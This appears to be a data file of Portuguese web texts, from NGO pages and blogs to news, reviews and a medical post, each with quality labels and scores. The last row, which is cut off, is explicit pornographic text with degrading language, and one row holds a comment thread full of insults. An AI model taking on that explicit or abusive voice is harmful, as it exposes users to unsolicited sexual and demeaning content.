aplicamo-las em conjunto com os diretores das escolas. De mobiliário escolar a implementação de eletricidade, saneamento e manutenção de estruturas, por um lado apoiamos necessidades regulares, por outro desenhamos o modelo de escola ideal para cada comunidade. +Distribuição +Recolhemos materiais em Portugal, identificados como apoios úteis e importantes para a escolas, professores, orfanatos, crianças e famílias. Distribuímos os materiais por escolas da Guiné-Bissau, São Tomé e Príncipe e Moçambique. A nossa distribuição é direta e conta com equipa local, garantindo que os materiais chegam ao destino e representam uma importante contribuição para todos. Proteger as escolas significa proteger as famílias e a comunidade, contribuindo para o seu desenvolvimento. +Rede de Escolas +Promovemos a criação de uma rede de escolas na Guiné-Bissau, de forma a reduzir a vulnerabilidade de todas em conjunto, um conjunto com maior potencial do que a soma das partes. Apoiamos o desenvolvimento desta rede e a sua institucionalização local, regional e nacional. +Madrinha Única +Identificamos crianças extremamente carenciadas em escolas da Guiné-Bissau e procuramos garantir a sua frequência escolar, acesso a materiais escolares, roupa, entre outros. Procuramos abrir este serviço no futuro para um serviço de apadrinhamento personalizado. Para já encaramos o grupo Madrinha Única como um grupo que requer uma maior atenção e apoio. +Escola Peru +Numa comunidade nativa da floresta amazónica peruana apoiamos uma curandeira local de quem nos tornámos amigos. Com formação adequada a Lúcia identifica crianças carenciadas que não frequentam a escola e dá as primeiras aulas da vida destas crianças. O objetivo é apoiar o processo de inscrição destas crianças na escola local. +Escola Queteba +Colaboramos com a comunidade local na criação da primeira escola primária local, canalizando apoio em géneros e formação. Queteba é uma aldeia no norte da Guiné-Bissau, bastante isolada e com todo o potencial para o desenvolvimento sustentável. A criação de uma placa com factos históricos da aldeia, uma horta biológica e a relação com o solo de forma sustentável fazem parte dos atuais projetos. +Sensibilização +Your content goes here. Edit or remove this text inline or in the module Content settings. You can also style every aspect of this content in the module Design settings and even apply custom CSS to this text in the module Advanced settings. +Campanhas +Existem sempre campanhas em andamento e forma de colaborar. Recolha de materiais, angariação de fundos para objetivos específicos ou inscrição de voluntários podem ser consultados na página colaborar. +Voluntariado +Procuramos voluntários em todos os países. Em Portugal poderá colaborar na criação de eventos ou na preparação de materiais para enviar para os destinatários. Poderá também viajar connosco ou em direção a um dos nossos destinos. Poderá ainda tornar-se embaixador promovendo a resolução de problemas que identificamos, trabalhar em investigação, apoiar grupos vulneráveis ou grupos de voluntários! +Biblioteca +A metade inacabada da nossa sede em Bissau tornar-se-á uma biblioteca pública com um tema muito especial: um espaço de encontro e apoio para os professores primários e educadores de infância. +Casas de Banho Secas +Procurando contribuir para o terrível facto de muitas escolas não terem casas de banho, iniciamos o projeto de casas de banho secas que serão criadoras de fertilizante para hortas biológicas desenvolvidas pelas escolas.",original,original,original,original,4,0.8 +"Você já parou para pensar em quem vivia no Brasil antes da chegada dos portugueses? E será que essas pessoas desapareceram? A resposta é não! Os povos indígenas são parte fundamental da nossa história e da nossa cultura, e continuam vivos e lutando por seus direitos. + +Imagine que o Brasil, antes de se chamar Brasil, era um mosaico de diferentes povos, cada um com sua língua, seus costumes e sua forma de se relacionar com a natureza. Eles cultivavam a terra de maneira sustentável, conheciam os segredos das plantas medicinais e transmitiam seus conhecimentos de geração em geração através da oralidade – histórias, cantos e danças. Ao contrário do que muitos pensam, esses povos não eram todos iguais. Havia e ainda há uma diversidade enorme, com diferentes culturas e modos de vida. Alguns exemplos são os Yanomami, que vivem na Amazônia, os Guarani, presentes em diversas regiões do país, e os Xavante, que habitam o Cerrado. + +Os indígenas nos ensinam muito sobre respeito à natureza. Eles têm uma relação de profunda conexão com a terra, os rios e as florestas, entendendo que somos todos parte de um mesmo sistema. Essa sabedoria é cada vez mais importante nos dias de hoje, quando enfrentamos tantos desafios ambientais. Que tal pesquisar sobre as práticas sustentáveis de algum povo indígena e pensar em como podemos aplicá-las em nosso dia a dia? + +É importante lembrar que a história dos povos indígenas no Brasil é marcada por muita luta e resistência. Desde a chegada dos colonizadores, eles enfrentaram violência, doenças e a perda de suas terras. Mesmo assim, muitos povos conseguiram preservar sua cultura e continuar existindo. Atualmente, eles lutam por seus direitos, como o direito à terra, à saúde, à educação e ao respeito à sua cultura. Será que estamos dando a devida importância a essas lutas? Será que estamos ouvindo o que os povos indígenas têm a nos dizer? + +Para finalizar, que tal pensarmos juntos sobre o futuro? Como podemos construir um Brasil mais justo e igualitário, onde os direitos dos povos indígenas sejam respeitados e sua cultura valorizada? A resposta está em conhecermos e valorizarmos a história e a cultura desses povos, aprendendo com sua sabedoria e apoiando suas lutas. Lembre-se: os povos indígenas não são apenas parte do nosso passado, eles são parte do nosso presente e do nosso futuro.",História,Povos indígenas,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas relevantes sobre os povos indígenas, abordando sua diversidade, relação com a natureza, história de resistência e lutas atuais. É apropriado para uso educacional, introduzindo conceitos importantes relacionados ao currículo escolar, como cultura, história e sustentabilidade. O texto é coerente, com estilo de escrita claro e consistente, e incentiva a reflexão e pesquisa. Por fim, apresenta insights profundos e completos sobre o assunto.",5,1.0 +"Em dezembro, quando saímos em férias, minha esposa levou junto este livro, que eu desconhecia até então. Não o li nesta oportunidade, pois ela é quem +o fez. Agora, como o Carnaval não é bem a minha praia, resolvi aproveitar a oportunidade para lê-lo. Para minha surpresa, seu título é muito +modesto, ele não é um livro para ser lido apenas na praia, como diz seu sub-título, mas um livro para ficar ao alcance da mão de qualquer um que +sonha em fazer negócios através da Internet. Não é um livro para ser lido uma única vez, mas deve ser consultado repetidas vezes. É sensacional. +Ô, Robert, pára com isso senão eu incho de orgulho! :)) Graças a Deus o livro está vendendo bem. Outro dia passei pela La Selva do aeroporto de Cumbica e ele estava escondidinho. Peguei um livro, fiz a maior cara de triste e comecei a passar a mão acariciando a capa e comentando com uma vendedora, ""Sabia que meu livro sofre quando fica escondido? Se você quiser fazer um livro feliz, arranja um lugar para ele na vitrine"". +A moça, sabendo que esse tipo de louco não deve ser desapontado, imediatamente colocou o livro na vitrine. Será que esse é o marketing um-a-um? :)) +Estou lendo o Gonzo Marketing do Christopher Locke e estou gostando. Apesar de ser o tipo de escritor que poderia ter dito tudo em um artigo (a maior parte do livro ele fica criticando outros autores, como estou fazendo com ele aqui), a idéia que mais me cativou foi a de que histórias são instrumentos eficientes na comunicação de uma mensagem, mesmo comercial. +Embora não fique bem claro onde ele traça o limite entre o comercial e o informal, a leitura que faz da Internet é interessante. Comunidades de interesses comuns que se incumbam de falar bem do produto/empresa que as patrocina (exemplo que ele deu da Ford). Acho que já vi esse filme, com outro nome: WideBiz. +Meu primeiro livro é de histórias, crônicas. O segundo (já na editora) chama-se ""Receitas de Grandes Negócios"" e deve sair em Abril ou Maio. O terceiro só falta escrever uma introdução, fazer uma revisão e mandar para a editora. Embora o primeiro, ""Crônicas de uma Internet de Verão"" tenha sido escrito no período pré-durante-pós euforia da Internet, não há o que eu mudaria ali. Algumas de minhas crônicas inclusive previam como a história se comportaria. +Quando entrei na Widesoft em 1998, levei alguma experiência que tinha obtido com meu site pessoal www.stories.org.br e do boletim diário Chapter-a-Day. Lições que aprendi com um britânico que só conheci na Web, que já estava na Web desde 94 ou 95 com idéias pouco compreendidas para sua época. +Meu discurso para a empresa foi: Criar uma comunidade de (1) formadores de opinião, dar uma (2) conotação bastante pessoal à coisa toda, usar o (3) boca-a-boca, (4) compartilhar conhecimento. Houve muitas dúvidas como: +(1) Mas eles não são os clientes que buscamos. (2) Vai parecer que a empresa é uma pessoa. (3) O normal é comprar espaço na mídia. (4) Perigo de transferir tecnologia. +Compartilhando agora um pouco da experiência disso: +1) Evidentemente, o resultado disso -- WideBiz (lista e site) -- nunca vendeu os produtos da empresa, mas funcionou como um institucional poderoso, tendo a marca aparecido até em entrevistas de publicações no exterior, dirigidas a clientes em potencial (www.outsourcing-journal.com). +(2) Esse perigo ocorreu e muita gente pensava que eu fosse dono da empresa (embora fosse apenas um diretor de comunicação contratado). Se alguém for repetir esse tipo de experiência, fique atento para descontentamento interno, do tipo ""eu trabalho e ele aparece"". +(3) Espaço institucional na mídia tivemos em abundância. Não do tipo compre nosso produto, mas do tipo que expõe a marca. +(4) Não existe o perigo de transferir tecnologia, mas uma imagem simpática de uma empresa que compartilha conhecimento. A Sun tem um site que é uma verdadeira enciclopédia e traz bons resultados institucionais. +Mas... onde é que eu estava mesmo? Ah! no livro Gonzo Marketing. Parodiando ""Eu era feliz e não sabia""...",original,original,original,original,2,0.4 +"rp_ignorancia +Não ter ciência. Expressão: Não saber da missa a metade. +A ignorância está à raiz de muitos preconceitos. Percebe-se em boa parte do clero uma ignorância a respeito da religiosidade popular e do seu significado na vida dos pobres. Disse uma agente de pastoral (M.L.Barbosa) num desabafo: ""Quantas vezes consideramos certo só o que nós sabemos e ignoramos as outras culturas, as pessoas simples que nunca estudaram mas são capazes de viverem seus valores e são bem aceitos por Deus que é o único Pai de todos."" (Agudos SP, 2005) +Ignorância dos mistérios de Deus. Esperando a chuva o pobre penitente afirma: não entendo os segredos de Deus. +Certamente não é por querer que o povo não conhece o funcionamento das organizações que lhe garantem os direitos humanos. +Por causa da má política de educação continua grande o número de analfabetos. Mas, baixa escolaridade não é ignorância. Analfabetismo e ignorância não são sinônimos. A consciência do seu pouco saber é virtude de muitos populares. A própria vida ensina muita coisa ao homem pobre e lutador, sobretudo a sabedoria. A desinformação é prejuízo. Talvez o povo saiba pouco da geografia e da história do mundo ou da igreja. Mas não subestimemos a influência da televisão. +Enquanto políticos, professores e padres facilmente chamam o povo de ignorante, Paulo Freire alerta para a alienação da ignorância: ""Na visão 'bancária' da educação, o ‘saber’ é uma doação dos que se julgam sábios aos que julgam nada saber. Doação que se funda numa das manifestações instrumentais da ideologia da opressão, a absolutização da ignorância, que constitui o que chamamos de alienação da ignorância, segundo a qual esta se encontra sempre no outro. O educador que aliena a ignorância, se mantém em posições fixas, invariáveis. Será sempre o que sabe, enquanto os educandos serão sempre os que nada sabem. (...) Reconhece, na absolutização da ignorância daqueles a razão de sua existência”.[1] +Partir para a ignorância, usar da violência. Na canção das CEBs (BA) ""Ladrão de Gado"": Os tais fazendeiros já desesperados,/ pois eles sabiam que iam perder,/ então apelaram para a ignorância/ para fazer vingança, matar ou morrer. +[1] FREIRE, Paulo. Pedagogia do Oprimido. 8ªEd. Rio de Janeiro, Paz e Terra, 1980. p.67",original,original,original,original,3,0.6 +" Auxílio à pesquisa 10/20886-5 - Liberdade de expressão, Censura - BV FAPESP +Comunicação, censura e liberdade de expressão: um estudo sobre a censura prévia ao... +Interdição e produção simbólica: a censura ao cinema e ao teatro na República Islâmica do Irã +Processo: 10/20886-5 +Pesquisador responsável: Ferdinando Martins +Beneficiário: Ferdinando Martins +Assunto(s): Liberdade de expressão Censura Irã (país) +Muitos relatos que chegam ao Ocidente sobre a República Islâmica do Irã tratam do cerceamento do direito à informação e à manifestação artística. No entanto, a simples comparação entre a liberdade de expressão encontrada nos países ocidentais e a prática de interdição à produção simbólica no Irã não dá conta da complexidade do fenômeno censório nesse país. O presente projeto trata da censura à produção simbólica (cinema e teatro) na República Islâmica do Irã no período pós-Revolução de 1979. O objetivo é investigar as interdições governamentais ao cinema e ao teatro nesse país a fim de discernir os parâmetros político-culturais da prática censória. Para tanto, analisa a censura e outros mecanismos, oficiais ou não, de cerceamento à liberdade de expressão, de 1979 a 2010. O projeto prevê pesquisa bibliográfica, documental, iconográfica e audiovisual; viagem de campo; e entrevistas em profundidade. Dessa forma, pretende-se reconstruir espacial o campo artístico iraniano e a relação de seus agentes com a censura e outras instâncias de interdição. Além disso, contrasta as percepções sobre a prática censória e suas interdições com a recepção dos produtos culturais iranianos no Ocidente. Com isso, pretende-se chegar a uma compreensão ampliada da estruturação dos campos artísticos e do fenômeno da censura, temas caros à contemporaneidade. (AU)",original,original,original,original,3,0.6 +"Guerreiro do Poty tem melhor posse de bola na etapa final e é mais objetivo. Com isso, chega aos nove pontos, em sétimo. Ferrão para nos 14 pontos, em quinto +Ferroviário não segurou a pressão adversária no PV (Foto: Tati Alencar/TV Verdes Mares) +Dessa vez, o Crateús foi o responsável por mais um revés do Ferroviário na Série B do Campeonato Cearense. O Guerreiro do Poty marcou 2 a 1 sobre o Tubarão da Barra e chegou aos nove pontos, na 7ª colocação. O Ferrão parou na 5ª posição, com 14 pontos. +Na próxima rodada, Crateús e Ferroviário voltam a se encontrar, só que desta vez, no Estádio Juvenal Melo, às 20h15min da próxima quarta-feira (15). +Diferente do que se possa imaginar pelo resultado de vitória adversária, o Ferroviário começou bem melhor e chegou a meter três bolas na trave. No entanto, diante das falhas no ataque, o Tubarão da Barra viu o Crateús, em poucas oportunidades, terminar o primeiro tempo na frente, após boa finalização de Biano, aos 35 minutos. +Na volta para a etapa final, o torcedor coral chegou a achar que seria possível reverter o quadro. Com as alterações do técnico Raimundinho, o time parecia ter melhorado. E logo aos oito minutos, França empatou. Mas em vez de crescer em campo, o Ferrão se viu dominado pelo Crateús, que tocou mais a bola e criou mais chances de gols. E o domínio da equipe do Interior rendeu o segundo gol, com Dênis, aos 30 minutos. Daí para frente, mesmo com outras oportunidades, o placar não se alterou.",original,original,original,original,0,0.0 +"Kihei Canoe Club - 2018 O que saber antes de ir - Sobre o que as pessoas estão falando - TripAdvisor +Restaurantes perto de Kihei Canoe Club +O que fazer perto de Kihei Canoe Club +N.º 49 de 71 Passeios de barco e esportes aquáticos em Kihei +Bela e experiente +Ótima experiência! ! Como visitantes, que foram guiados e instruídos por membros de canoa experientes e bem informados. Aprendemos muito sobre o desporto, criação bela de Deus: a terra, o mar, animais marinhos, e algumas tradições e linguagem da cultura havaiana. Melhorias necessárias! Um par...de membros do Club não foram tão bom e convidativo como outros. Também, o montante sugerido doação foi um pouco íngreme. Os visitantes devem ser encorajados a doar o que eles querem.Mais +Diversão assistindo canoas outrigger +Eu sabia sobre a dias Kihei visitante Canoe Club mas o meu marido e eu decidi não participar na canoagem. No entanto, duas vezes paramos para ver as pessoas a sair e voltar depois de seus passeios. +Se você estiver em Kihei numa terça ou uma quinta-feira (excepto para o Dia de Ação de Graças) ser no Kihei Canoe Club antes de 7 horas da manhã. Vale a pena levantar-se. Após a assinatura de um levantamento, existe a cerimônia conch com um...nativo havaiano levando um canto e falar sobre as formas antigas e passar por eles para as futuras gerações. Grande cultura local. Depois disso, eles fornecem uma lição breve mas adequada sobre a etiqueta de canoa, entrar e sair da canoa e infantil. Uma vez feito isso, você ir para um casco duplo ou um único hull canoa (outrigger), lançamento, e você estão desligados. Eles te levam a lugares diferentes como um monte de canoas lançamento no uma vez. Você está fora em qualquer lugar a partir de 30 a 90 minutos. A entrada é um $ 30 doação por pessoa. Estas doações vá em direção a vários programas eles colocaram em para crianças e pessoas com deficiência. Lembre-se de trazer um extra de US $ 5 para um pedaço de pão de banana. É feitos localmente e é também uma festa beneficente. Este é um espetáculo imperdível fazer. Vale a pena.Mais +Agradável oportunidade de aprender alguns conceitos básicos de andar de canoa +Eu gostava de duas viagens com o clube de canoa no seus dias de visitante. Os membros guiados seus visitantes inexperientes através do básico, e nos levou a uma viagem agradável na área imediata. Eu também gostava de aprender sobre o seu apoio do local...escola equipas de alta, financiado pelos seus programas de visitante, e os seus esforços relacionados para manter este aspecto da cultura havaiana tradicional viável.Mais +Nós saído com o clube de canoa antes e tivemos um grande momento, então nós estávamos entusiasmados para partilhar a experiência com nossos 3 anos. Nós xadrezes em com eles um par dias antes de Quando planejamos ir e eles disseram que não havia qualquer...requisito de idade mínima. Nós trouxemos nosso próprio colete vida para a pequena, que tem sido em vários barcos e sempre bem feito. Quando fomos para o check-in fomos (grotescamente) informou que eles tinham acabado de ser alterada a sua política - aparentemente no 36 horas desde o nosso inquérito - e agora tinha uma idade mínima de oito. Meu marido educadamente persistiu e foi gritado por o voluntário do sexo feminino (não obter o seu nome) bem na frente de nosso filho. Em vez de entrar em um argumento, escolhemos a pé de distância, muito decepcionado.Mais +Os visitantes de paddle lazer também +Esta placa de lazer projetado para o atleta bem como o sofá de batata é uma ótima experiência sem os cheiros de combustível, as multidões, o churrasco costelas, pura e simples permite entrar na água com remadores iniciantes e experientes profissionais +Experiência brilhante & exercícios +Localizado em North Kihei, introdutória da placa é às terças e quintas-feiras com uma doação de US$ 30. O estacionamento gratuito está disponível na beira ao longo do lado da estrada. Melhor para chegar cerca de 06:30 a preencher os formulários de renúncia e equipar...para fora antes de o b...",original,original,original,original,3,0.6 +"Este processo natural está na base das fito-ETAR, uma tecnologia verde constituída por leitos de plantas aquáticas, especialmente desenhados e construídos para tratar águas residuais ou águas poluídas. E é precisamente essa tecnologia que Carlos Gomes e Marisa Almeida vêm desenvolvendo através de diversos projetos (incluindo o INNOVMAR financiado pelo Norte 2020) centrados na exploração e utilização de fito-ETAR para a remoção de poluentes, incluindo os mais recentes como os antibióticos. +Designados por poluentes emergentes, estes novos poluentes são continuamente descarregados nos sistemas aquáticos, acarretando riscos para a natureza e também para a saúde humana (por exemplo resistência a antibióticos), e exigindo, por isso mesmo, soluções mais eficientes para o tratamento das águas residuais. Através de experiências laboratoriais, os investigadores têm avaliado as taxas de remoção de vários poluentes, de modo a otimizar e potenciar a eficácia das fito-ETAR em domínios como a agropecuária ou a aquacultura +O estudo dos processos físico-químicos e biológicos, nomeadamente de biorremediação (processos envolvendo microorganismos) e fitorremediação (processos envolvendo plantas), permitiu verificar que as plantas aquáticas têm um papel ativo neste processo, estimulando os microorganismos existentes no solo que envolvem as suas raízes a degradar os diferente poluentes. +Os resultados obtidos mostram que as fito-ETAR podem ser uma alternativa sustentável para controlar, diminuir ou eliminar a presença de poluentes emergentes dos ecossistemas aquáticos, reduzindo os riscos, nomeadamente os associados à resistência a antibióticos. A possibilidade de reutilização da água tratada é também uma das questões em estudo, relevante para a economia circular. +Apesar da nacessidade de uma área considerável para a sua implantação, os baixos custos de manutenção e operação tornam esta tecnologia verde bastante atrativa. As fito-ETAR são assim uma solução natural integrada para o tratamento de águas residuais, que através da criação de zonas húmidas, ajuda também a travar a destruição de habitats naturais, contribuindo para a proteção da biodiversidade e regulação hidrológica e climática.",original,original,original,original,4,0.8 +"No post anterior, falámos de como podemos viver um estilo de vida mais simples. Hoje falo-vos de algo que vem por arrasto a um estilo de vida mais modesto. Falo de poupar uma boa percentagem dos rendimentos mensais. Mas afinal, porque é que poupar pode ser considerado um life & productivity hack? Acho que quando estamos a trabalhar não o podemos estar a fazer com medo, e infelizmente isso acontece a muitas pessoas em muitas empresas. O medo de ser despedido pode influenciar em muito a forma como trabalhamos e pode levar-nos a não partilhar as nossas ideias de forma livre por receio de represálias. Isso não acontece quando se tem um bom colchão financeiro e quando se tem confiança nas nossas capacidades. +Levar um estilo de vida mais simples e com menos custos, pode ajudar-te a poupar uma percentagem dos teus rendimentos, e isso é algo que garanto que te vai trazer muita paz de espírito. É certo que hoje existe todo um grande conjunto de tentações que te impulsionam para o consumismo. Os automóveis cada vez mais giros e cada vez mais um símbolo de status e de sucesso, as roupas da moda, os gadgets cada vez mais avançados e cada vez mais tentadores, os restaurantes, concertos, etc etc. É normal veres pessoas com vencimentos modestos a levar uma vida acima das suas possibilidades. Não digo que isso seja errado, cada um faz o que bem entende, contudo é um estilo de vida que não permite poupança, e consequentemente te deixa preso a um emprego, afinal é necessário pagar todos os créditos e pagar o estilo de vida. +Não ter uma boa almofada financeira também impossibilita aproveitar oportunidades que podem surgir e que necessitam de investimento. Por vezes aparecem oportunidades que te podem gerar mais riqueza no futuro, como por exemplo, uma quebra do mercado de ações ou uma queda do mercado imobiliário. Mas mais que isso, o principal benefício é mesmo aquele que já tinha referido, a possibilidade de fazer apenas aquilo que se gosta. Quando se tem uma boa quantia e um estilo de vida modesto, é fácil largar um emprego que não se gosta, mesmo sem outro assegurado, e isso para mim, é ser verdadeiramente livre. +Ainda que adores o que fazes, poupa na mesma, ter opções é sempre melhor que não as ter de todo. Começa já hoje! +Vê os Life & Productivity Hacks anteriores: +Vê todos os Life & Productivity Hacks de 1 a 10 +Life & Productivity Hack 11: Define objetivos mensais, semanais e diários +Life & Productivity Hack 12: Lê +Life & Productivity Hack 13: Quanto sob stress, foca-te apenas na próxima tarefa +Life & Productivity Hack 14: Vive um estilo de vida simples +Tags: +financaspessoais +produtividade +link do post +comentar +favorito +09 +Dez20 +Life & Productivity Hack 14: Vive um estilo de vida simples +Luís Rito +Porque pode um estilo de vida mais simples e menos materialista tornar-nos mais felizes e mais produtivos? Bom, há que desmistificar primeiro o que se entende por um estilo de vida simples. Aqui refiro-me a ter hábitos menos materialistas e menos consumistas, ou seja, reduzir ao máximo a quantidade de coisas que não precisamos nas nossas vidas. Creio que nos dias de hoje, temos cada vez mais, é comum uma única pessoa ter dezenas de sapatos ou roupa suficiente para vestir 10 ou 20 pessoas diferentes, ter mais que um telemóvel, ter incontáveis objetos na sua casa ao qual não dá uso, etc. Toda esta quantidade de coisas nos retira o foco naquilo que realmente interessa. Sabes porque é que o Steve Jobs utilizava sempre o mesmo estilo de roupa? Para não ter que acordar de manhã e ter que decidir o que tinha que vestir, ele era um adepto de simplificar ao máximo a sua vida. Grandes personalidades que utilizam a mesma estratégia são o ex-presidente dos EUA Barack Obama e também o fundador do Facebook, Mark Zuckerberg. Todas estas pessoas tomam decisões bastante importantes no seu dia a dia, pelo que tentam facilitar a sua vida sempre que podem. Assim, o Barack Obama ao preparar-se para ir trabalhar já sabe que vai vestir uma camisa branca, um fato cinze...",original,original,original,original,2,0.4 +"Comentários sobre acontecimentos e questões mundiais: Ambientalistas, os inocentes úteis mais utilizados pelo marxismo para atacar as empresas privadas +Postado por ARNALDO ARNOLDE às 18:02 +XistoGabriel 1 de junho de 2015 16:36 +KkkkKKKkkkk*rindo potássios*, eu li esse texto todo de cima a baixo, me parece que tu apenas passou por um dia ruim e não soube assimilar seus pensamentos e quis descontar em campanhas e textos banais relacionados ao meio ambiente porque isso, aliado às ilustraçõezinhas ó-tão-sugoi-kawaii-desu te deixa tããão irritado. Meu Deus, eu geralmente nem procuro comprar discussão com povo desinformado na internet, porque é uma perda de tempo, mas credo, há tanta coisa para ser dita... +Primeiro de tudo: “Mas, por que não se pode plantar árvores não nativas?”... Eu li isso mesmo? Ah tá bem, claro que se pode introduzir outras espécies para a eficiência econômica, contanto que haja o controle, mas se não for o caso, CARA, vá procurar saber o conceito de “espécies invasoras” em qualquer texto ou artigo, seja da internet, de livros acadêmicos, etc., aposto a vida da minha tuia-holandesa de estimação chamada Benoît que todos chegarão a um ponto em comum, nem vou digitar aqui, procure saber você mesmo. +""Além disso, rios não precisam de mata nas margens para existir!"" +Ehh, #SóQueNãoMesmo, meu queridíssimo. Se pesquisasse um pouco mais, você já saberia, é muito simples: as matas ciliares (marginais aos rios, caso você não saiba) firmam, ""seguram"" a terra das margens, prevenindo a erosão. Sem isso, a corrente de água erode a terra, assoreia o rio deixando-o mais raso, até ele poder *ARQUEJO* não mais existir, ora! É por essa exata razão que muitas, mas Muitas legislações municipais vetam a implantação de imóveis a menos de pelo menos 30 metros dos cursos d’água, dependendo da largura do mesmo. +Criança, quer um conselhinho? Preste mais atenção nas aulinhas de ciências ambientais, ou se tu já estiver mais grandinho (o que duvido após ler essa sua pirraça), procure fazer um curso de urbanismo ou engenharia ambiental, ou mesmo botânica, antes de postar um disparate desses na internet pra todo mundo ver e tu virar motivo de chacota. +ARNALDO ARNOLDE 1 de junho de 2015 18:07 +Pela risada inicial, já sei q é um marxista alienado (aqueles marxistas q não sabem q são marxistas, e inclusive, negam q são rsrs). +E por isso q escreveu: +""Sem isso, a corrente de água erode a terra, assoreia o rio deixando-o mais raso, até ele poder *ARQUEJO* não mais existir, ora!"". +Já sei q é um ignorante q não sabe q no fundo do Gran Canyon no EUA existe um rio, o Rio Colorado, e pensa q o rio deixa de existir se não tiver mata ciliar! rsrs +XistoGabriel 1 de junho de 2015 19:11 +Ká. Ká, Ká. +Tu só fica aí chamando qualquer pessoa que te contrariar de ""marxista"" (que honestamente nem sei porque que tu anda usando como insulto) ao invés de verdadeiramente pesquisar Bem sobre os rios que tu citaste. +O Nilo e o Colorado possuem mata ciliar original Sim, mesmo cortando desertos. Pode pesquisar. E por favor, né. Você apenas citou o esses dois rios, mas se esqueceu de rios como Itapecuru, São Francisco, Parnaíba e um monte de outros rios assoreados espalhados pelo país e talvez pelo mundo. Sim, assoreados devido à ação humana. +Olha, nem vou discutir, é só dar uma pesquisada De Verdade, mas aff, nem acho que você vá se dar ao trabalho, é muito mais cômodo insultar (seja lá o que você entende por insulto) quem talvez, apenas TALVEZ possua mais conhecimento no assunto do que você. Bjs, xau! c: +ARNALDO ARNOLDE 4 de junho de 2015 14:55 +Mudou as letras da risada, mas, continua o mesmo, a única coisa q faz, como todo marxista, é dar risada e dizer para a outra pessoa ler, pesquisar (fazem isso pq não possuem conhecimentos para argumentar de forma fundamentada), como se fosse um grande erudito instruindo os pupilos rsrs +""Sim, assoreados devido à ação humana."" +Fizeram lavagem cerebral na sua cabeça na escola e vc passou a ter a cabeça dominada por uma ideologia q odeia a ...",original,original,original,original,2,0.4 +"Endocrinologia e Pediatria: Puberdade Precoce dependente da Gonadotrofina: Causas Neoplásicas... +Puberdade Precoce dependente da Gonadotrofina: Causas Neoplásicas... +A maturação puberal isossexual é tipicamente vista pelo desenvolvimento mamário nas meninas e pelo aumento do volume testicular nos meninos, usualmente acompanhado por pubarca/adrenarca, aumento da velocidade de crescimento, e desenvolvimento de caracteres sexuais secundários. +Tradicionalmente, a maturação puberal normal ocorre entre 8 anos e 13 anos na menina e entre 9 anos e 6 meses a 13 anos e 6 meses no menino. +A puberdade precoce dependente de gonadotrofinas resulta de uma ativação precoce do eixo hipotálamo-hipofisário-ganadal, a qual pode ocorrer de forma idiopática, por tumores ou indiretamente, como visto em alguns casos de hidrocefalia. +Causas de puberdade precoce devido a alterações no sistema nervoso central (SNC): +- Tumores do SNC (causando direta ou indiretamente efeitos no GnRH): +- Cisto aracnóideo. +- Craniofaringeomas. +- Ependimomas. +- Germinomas (Não-HCG secretor) +- Gliomas de baixo grau ( astrocitomas pilocisticos juvenil, gliomas das vias ótica) +- Condições paraneoplásicas (através da ativação do HCG no receptor de LH): +- Tumores de células germinativas: +- SNC. +- Gonadal. +- Hepático. +- Mediastinal. (Pode ocorrer na síndrome de Klinefelter). +- Hepatoblastoma. +- Anomalias do desenvolvimento: +- Cisto aracnóide. +- Hamartomas hipotalâmicos. +- Pós-Radiação (efeito direto no GnRH): +- Terapia com radiação em cânceres infantis. +- Pós-Infecção, trauma ou sangramentos (efeito direto e indireto no GnRH): +- Algumas vezes associado ao desenvolvimento de cisto aracnóideo. +Fonte: Stephen Matthew D. et cols. Review Article: Gonadotropin-Dependent Precocius Puberty: Neoplastic Causes and Endocrine Considerations. International Journal of Pediatric Endocrinology vol. 2010 article ID 184502, 14 pages. +Postado por (CRM/SP) 109953 Gustavo Lahan às 10:30 +Marcadores: Neurologia Pediátrica, Puberdade Precoce +Puberdade Precoce dependente da Gonadotrofina: Cau... +Enterococcus... +Campanha contra o DIABETES... +Salk subistituirá a Sabin contra a PÓLIO... +15 minutos de atividade física... +25% dos Americanos são diabéticos... +Propaganda para estimular a prática de exercícios ... +Suspensa Liminar que garante Insulina Glargina, C... +Cérebro de magros e obesos funcionam diferente... +Prolactina e Puberdade... +SAMU (192) em Santos-SP... +Picada de Escorpião... +Hepatites... (Causas)... +Cirurgia bariátrica para tratamento do DM2... +Propranolol no tratamento dos Hemangiomas Infantis... +SP contra o ÁLCOOL na infância e adolescência... +Entrevista comigo (6) +Febre (7) +Febre Amarela (5) +Hipoglicemia (5) +Infectologia (75) +Neurologia Pediátrica (8) +Obesidade (115) +Outros (119) +Puberdade Precoce (21) +Síndromes (16) +Tireóide (21) +Vacinas (60)",original,original,original,original,2,0.4 +"MUDA CLIMA: Governos 'têm cinco anos para evitar catástrofe climática' +A organização ambiental WWF disse que governos e políticos têm apenas cinco anos para tomar atitudes e ""salvar o planeta de uma catástrofe de mudança climática"". Em um relatório em que apresenta cenários para 2050, a organização conclui que o mundo pode produzir energia limpa ""mais que suficiente"" para atender à demanda – ""mas apenas se as decisões necessárias forem tomadas nos próximos cinco anos"". +""Entretanto, é claro que as políticas econômicas e a intervenção governamental necessária para promover esta transição ainda não estão sendo tomadas, e nem estão em perspectiva em muitos casos"", avalia o WWF. +No texto, de mais de cem páginas, a entidade lista áreas cruciais em que medidas têm de ser tomadas com urgência. O Brasil é citado em uma delas, referente à perda de florestas: +""O desflorestamento é responsável não apenas por uma significativa perda de ecossistema e de espécies, mas, muito importante, por 20% das emissões globais de gases que causam o efeito estufa"". ""Dez países respondem por 87% da perda global de florestas, com o Brasil e a Indonésia respondendo juntos por 54%."" +Outras ações defendidas pela organização são melhorar a eficiência energética, desenvolver tecnologias que utilizem energia limpa (como solar, eólica e de biomassa, por exemplo) e instalar indústrias com equipamentos para capturar o gás carbono. +0 diretor-geral do WWF, James Leape, afirmou: +""O mundo nunca esteve tão ciente da mudança climática, ou da necessidade urgente de conter o seu avanço. A questão é como fazer isso sem interromper o desenvolvimento e reduzir os padrões de vida."" ""Conter o avanço climático é uma iniciativa de longo prazo, mas os primeiros passos devem ser dados pelos governos hoje no poder."" +""O futuro depende de decisões que levem a uma economia de baixas, em uma escala de tempo consistente com a tarefa de planejar as dimensões sociais e econômicas dessa transição, para minimizar os impactos negativos desta mudança urgente."" +Postado por João Paulo G. Maciel às 5/15/2007 04:20:00 PM",original,original,original,original,4,0.8 +"Minha esposa gorda e porca peidando na minha cara +Morena peituda está no cio. Ela está doidinha pra meter e quer piroca. O cara mostra disposição e dá uma surra na buceta da gostosa, que berra de prazer antes de tomar uma esporrada na cara. +O coroa fica sentado ao lado dela só olhando o corpinho sarado da putinha. Ela percebe e ataca ele com seu charme, vai pra cima tirando a roupa e pega firme na benga do coroa deixando 